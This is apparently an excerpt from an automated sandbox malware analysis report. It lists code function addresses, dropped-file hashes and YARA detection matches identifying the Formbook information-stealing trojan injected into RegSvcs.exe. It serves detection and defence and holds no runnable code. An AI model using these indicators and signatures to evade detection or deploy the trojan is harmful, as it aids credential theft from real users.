              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013AFDF58_3_013AFDF5
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013AFDF58_3_013AFDF5
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013AFDEB8_3_013AFDEB
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C4C7B8_3_013C4C7B
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C4C7B8_3_013C4C7B
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C4C7B8_3_013C4C7B
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C4C7B8_3_013C4C7B
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C4C7B8_3_013C4C7B
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C4C7B8_3_013C4C7B
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C4C7B8_3_013C4C7B
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C4C7B8_3_013C4C7B
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C27858_3_013C2785
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C27858_3_013C2785
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C27858_3_013C2785
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C4C7B8_3_013C4C7B
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C4C7B8_3_013C4C7B
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C4C7B8_3_013C4C7B
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C4C7B8_3_013C4C7B
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C27858_3_013C2785
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C27858_3_013C2785
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C27858_3_013C2785
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C4C7B8_3_013C4C7B
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C4C7B8_3_013C4C7B
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C4C7B8_3_013C4C7B
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C4C7B8_3_013C4C7B
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C27858_3_013C2785
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C27858_3_013C2785
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_3_013C27858_3_013C2785
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_2_007380378_2_00738037
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_2_0072E0BE8_2_0072E0BE
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_2_0071E1A08_2_0071E1A0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0040103016_2_00401030
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0041EB4F16_2_0041EB4F
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0041E56B16_2_0041E56B
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0041D57316_2_0041D573
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0041E57516_2_0041E575
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0041D57616_2_0041D576
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_00402D9016_2_00402D90
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_00409E6016_2_00409E60
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_00402FB016_2_00402FB0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013EA11816_2_013EA118
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134010016_2_01340100
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013D815816_2_013D8158
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_014081CC16_2_014081CC
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_014041A216_2_014041A2
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_014101AA16_2_014101AA
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013E200016_2_013E2000
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0140A35216_2_0140A352
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_014103E616_2_014103E6
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0135E3F016_2_0135E3F0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013F027416_2_013F0274
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013D02C016_2_013D02C0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0135053516_2_01350535
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0141059116_2_01410591
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0140244616_2_01402446
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013F442016_2_013F4420
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013FE4F616_2_013FE4F6
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0135077016_2_01350770
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137475016_2_01374750
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134C7C016_2_0134C7C0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136C6E016_2_0136C6E0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136696216_2_01366962
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013529A016_2_013529A0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0141A9A616_2_0141A9A6
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0135284016_2_01352840
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0135A84016_2_0135A840
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013368B816_2_013368B8
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137E8F016_2_0137E8F0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0140AB4016_2_0140AB40
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01406BD716_2_01406BD7
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134EA8016_2_0134EA80
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013ECD1F16_2_013ECD1F
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0135AD0016_2_0135AD00
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01368DBF16_2_01368DBF
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134ADE016_2_0134ADE0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01350C0016_2_01350C00
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013F0CB516_2_013F0CB5
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01340CF216_2_01340CF2
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01370F3016_2_01370F30
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013F2F3016_2_013F2F30
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01392F2816_2_01392F28
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C4F4016_2_013C4F40
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013CEFA016_2_013CEFA0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0135CFE016_2_0135CFE0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01342FC816_2_01342FC8
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0140EE2616_2_0140EE26
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01350E5916_2_01350E59
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0140EEDB16_2_0140EEDB
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01362E9016_2_01362E90
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0140CE9316_2_0140CE93
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0141B16B16_2_0141B16B
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0133F17216_2_0133F172
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0138516C16_2_0138516C
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0135B1B016_2_0135B1B0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0140F0E016_2_0140F0E0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_014070E916_2_014070E9
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013FF0CC16_2_013FF0CC
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013570C016_2_013570C0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0140132D16_2_0140132D
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0133D34C16_2_0133D34C
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0139739A16_2_0139739A
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013552A016_2_013552A0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013F12ED16_2_013F12ED
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136B2C016_2_0136B2C0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0140757116_2_01407571
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013ED5B016_2_013ED5B0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134146016_2_01341460
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0140F43F16_2_0140F43F
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0140F7B016_2_0140F7B0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_014016CC16_2_014016CC
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013E591016_2_013E5910
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0135995016_2_01359950
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136B95016_2_0136B950
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013BD80016_2_013BD800
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013538E016_2_013538E0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0140FB7616_2_0140FB76
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136FB8016_2_0136FB80
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0138DBF916_2_0138DBF9
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C5BF016_2_013C5BF0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01407A4616_2_01407A46
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0140FA4916_2_0140FA49
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C3A6C16_2_013C3A6C
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013EDAAC16_2_013EDAAC
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01395AA016_2_01395AA0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013F1AA316_2_013F1AA3
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013FDAC616_2_013FDAC6
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01401D5A16_2_01401D5A
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01407D7316_2_01407D73
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01353D4016_2_01353D40
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136FDC016_2_0136FDC0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C9C3216_2_013C9C32
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0140FCF216_2_0140FCF2
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0140FF0916_2_0140FF09
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01351F9216_2_01351F92
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0140FFB116_2_0140FFB1
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01359EB016_2_01359EB0
              Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt 98E4F904F7DE1644E519D09371B8AFCBBF40FF3BD56D76CE4DF48479A4AB884B
              Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt.exe 98E4F904F7DE1644E519D09371B8AFCBBF40FF3BD56D76CE4DF48479A4AB884B
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: String function: 00DB57D8 appears 67 times
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: String function: 00DB57A5 appears 34 times
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: String function: 00DB6630 appears 31 times
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: String function: 013C4BE9 appears 32 times
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: String function: 013ADA30 appears 76 times
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: String function: 01397E54 appears 102 times
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: String function: 013CF290 appears 105 times
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: String function: 01385130 appears 58 times
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: String function: 0133B970 appears 280 times
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: String function: 013BEA12 appears 86 times
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000077FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameAutoIt3.exeB vs mJIvCBk5vF.exe
              Source: mJIvCBk5vF.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
              Source: 16.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 16.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 16.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 16.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 16.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 16.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 0000001F.00000003.2701044733.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 0000001F.00000003.2701044733.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 0000001F.00000003.2701044733.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 0000001F.00000003.2700539673.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 0000001F.00000003.2700539673.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 0000001F.00000003.2700539673.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000015.00000003.2471954570.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000015.00000003.2471954570.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000015.00000003.2471954570.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 0000001F.00000003.2701229236.00000000019AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 0000001F.00000003.2701229236.00000000019AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 0000001F.00000003.2701229236.00000000019AD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000022.00000002.2804048077.0000000000810000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000022.00000002.2804048077.0000000000810000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000022.00000002.2804048077.0000000000810000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000012.00000002.4573770459.0000000002D50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000012.00000002.4573770459.0000000002D50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000012.00000002.4573770459.0000000002D50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 0000001E.00000002.2651574285.00000000030B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 0000001E.00000002.2651574285.00000000030B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 0000001E.00000002.2651574285.00000000030B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000019.00000002.2521219944.00000000048C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000019.00000002.2521219944.00000000048C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000019.00000002.2521219944.00000000048C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
